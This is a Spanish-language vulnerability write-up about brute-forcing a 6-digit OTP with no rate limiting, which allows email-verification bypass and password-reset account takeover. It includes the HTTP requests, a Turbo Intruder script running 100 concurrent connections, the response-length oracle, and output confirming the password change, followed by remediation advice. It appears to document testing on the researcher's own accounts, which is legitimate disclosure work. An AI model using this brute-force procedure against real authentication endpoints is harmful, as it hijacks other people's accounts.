AzkOsDev/azkosdev.site / write-ups / otp-bruteforce-ato

write-up técnico

vulnerabilidad · broken authentication

Bypass de verificación de OTP por fuerza bruta → Account Takeover

Ausencia de limitación de intentos en el mecanismo de OTP permitió, mediante fuerza bruta automatizada, verificar correos arbitrarios y restablecer contraseñas de cuentas sin acceso al correo electrónico de la víctima.

Vector
OTP brute force
Longitud OTP
6 dígitos numéricos
Rate limiting
No implementado
Impacto
Account Takeover
01

Resumen

La aplicación analizada utiliza códigos OTP de 6 dígitos para dos flujos críticos: verificación de correo electrónico y restablecimiento de contraseña. Ambos flujos comparten el mismo endpoint de verificación y ninguno implementa limitación de intentos (rate limiting) ni bloqueo tras fallos repetidos.

Esto permitió recuperar el OTP correcto mediante fuerza bruta automatizada (Turbo Intruder, alta concurrencia), logrando primero el bypass de verificación de email y, posteriormente, el restablecimiento de la contraseña de una cuenta sin necesidad de acceder al correo electrónico de la víctima — es decir, un Account Takeover (ATO) completo.

02

Contexto

El objetivo es un backend expuesto bajo un subdominio de Railway. Las pruebas se realizaron contra una cuenta de control propia del investigador (nedite4661@caps7.com).

03

Vulnerabilidad

Clasificación: Broken Authentication — CWE-307 (Improper Restriction of Excessive Authentication Attempts) y CWE-640 (Weak Password Recovery Mechanism).

Severidad: No se calculó un score CVSS formal; el impacto observado (toma de control de cuenta) corresponde típicamente a severidad alta/crítica].

El sistema genera un OTP numérico de 6 dígitos (106 combinaciones) y no limita el número de intentos de validación contra él, lo que lo hace recuperable por fuerza bruta en un tiempo práctico con suficiente concurrencia.

04

Análisis técnico

Endpoint A — envío de OTP de verificación de email

POST /api/auth/verifyemail?lang=es&univer[REDACTED] — responde 200 OK con status: PENDING y message: otp_email_sent. El body incluye un segundo campo ("Schneider": false) cuya función no pudo determinarse a partir de la evidencia disponible.

Endpoint B — verificación de OTP (reutilizado para dos propósitos)

POST /api/auth/verifyOTP acepta dos variantes de body:

  • Verificación de email: { email, otp }
  • Restablecimiento de contraseña: { email, password, otp }

En ambos casos, un OTP incorrecto responde 404 y uno correcto responde 200 con un Content-Length distinto al de las respuestas fallidas — una diferencia de longitud de respuesta que sirve como oráculo para automatizar el ataque.

Ausencia de controles

  • Sin rate limiting por IP o por cuenta (cientos de solicitudes consecutivas sin bloqueo).
  • Sin bloqueo temporal de cuenta tras múltiples intentos fallidos.
  • Sin CAPTCHA ni fricción adicional.
05

Flujo de explotación

  1. Disparar el envío del OTP de verificación mediante /api/auth/verifyemail.
  2. Enviar solicitudes iterativas contra /api/auth/verifyOTP variando el valor de otp, sin encontrar ninguna restricción de intentos.
  3. Identificar el valor correcto por la respuesta 200 OK y el cambio en la longitud de la respuesta → email verificado.
  4. Repetir el mismo patrón contra el flujo de restablecimiento de contraseña, incluyendo email, password (valor elegido por el atacante) y otp fuzzeable.
  5. Automatizar la búsqueda con Turbo Intruder (extensión de Burp Suite) usando alta concurrencia para cubrir el espacio de 6 dígitos en un tiempo reducido.
  6. Al encontrar el OTP correcto, la API confirma password has been changed — la contraseña de la cuenta queda bajo control del atacante.
06

Proof of Concept

01 · solicitud de OTP de verificación de email

POST /api/auth/verifyemail?lang=es&univer[REDACTED] HTTP/2
Host: [REDACTED]
Authorization: Bearer [REDACTED]

{
  "email": "nedite4661@caps7.com",
  "Schneider": false
}
HTTP/2 200 OK
{
  "status": "PENDING",
  "message": "otp_email_sent",
  "data": { "email": "nedite4661@caps7.com" }
}

02 · fuerza bruta del OTP de verificación (sin rate limit)

POST /api/auth/verifyOTP HTTP/2
Host: [REDACTED]

{
  "email": "nedite4661@caps7.com",
  "otp": "632709",
  [REDACTED]
}
HTTP/2 200 OK
{
  "status": "VERIFIED",
  "message": "email has been verified",
  "data": { "email": "nedite4661@caps7.com" }
}

03 · script de Turbo Intruder para fuzzing del OTP en el cambio de contraseña

# https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                            concurrentConnections=100,
                            requestsPerConnection=100,
                            pipeline=False,
                            engine=Engine.THREADED)

    for word in open('/tmp/a.txt'):
        engine.queue(target.req, word.rstrip())

def handleResponse(req, interesting):
    table.add(req)

request base utilizada (payload %s sobre el campo otp)

POST /api/auth/verifyOTP HTTP/2
Host: [REDACTED]

{
  "email": "nedite4661@caps7.com",
  "password": "Pwned1",
  "otp": "%s",
  [REDACTED]
}

04 · hallazgo del OTP correcto y confirmación del cambio de contraseña

# fila 4668 — único 200 OK entre cientos de 404
Row 4668   Payload 164570   Status 200   Length 38070
...resto de filas          Status 404   Length 68
HTTP/1.1 200 OK
{
  "status": "VERIFIED",
  "message": "password has been changed",
  "data": { "email": "nedite4661@caps7.com" }
}
07

Impacto

Account Takeover completo: un atacante puede restablecer la contraseña de cualquier cuenta conociendo únicamente el correo electrónico asociado, sin necesidad de acceder a ese correo.

Bypass de verificación de email: el mismo patrón permite marcar como verificados correos arbitrarios.

Alcance: El impacto fue validado sobre una segunda cuenta creada y controlada por el investigador, confirmando la posibilidad de cambiar su contraseña mediante el flujo vulnerable.

08

Evidencia

Envío de OTP de verificación de email
01 · solicitud de envío de OTP de verificación de email y respuesta otp_email_sent
Fuerza bruta del OTP sin rate limit
02 · cientos de intentos consecutivos sin bloqueo ("No Rate Limit"); el OTP correcto 632709 verifica el email
Fuzzing del campo OTP para cambio de contraseña con Turbo Intruder
03 · request de cambio de contraseña con otp fuzzeable y script de Turbo Intruder (100 conexiones concurrentes)
OTP correcto encontrado, 200 OK
04 · único 200 OK entre cientos de 404; OTP correcto = 164570
Confirmación de cambio de contraseña
05 · confirmación final: password has been changed
09

Remediación

  • Implementar rate limiting por IP y por cuenta en los endpoints de OTP (envío y verificación).
  • Bloquear temporalmente la cuenta tras un número reducido de intentos fallidos.
  • Invalidar el OTP tras su primer uso (uso único) y reducir su tiempo de vida.
  • Aumentar la entropía del OTP o combinarlo con un token de sesión adicional no adivinable.
  • Separar el endpoint de verificación de email del de restablecimiento de contraseña, evitando reutilización de lógica entre flujos de distinta criticidad.
11

Conclusión

Un control de autenticación crítico (verificación de OTP) sin limitación de intentos reduce la seguridad de todo el sistema al tamaño del espacio de valores del código — en este caso, 106 combinaciones, trivialmente alcanzables con herramientas de fuerza bruta de uso común. El caso ilustra cómo un mecanismo pensado para añadir seguridad (verificación en dos pasos) puede convertirse en el punto más débil de la autenticación si no se protege contra automatización.

#brokenauthentication #otp #bruteforce #accounttakeover #burpsuite #turbointruder #appsec #pentesting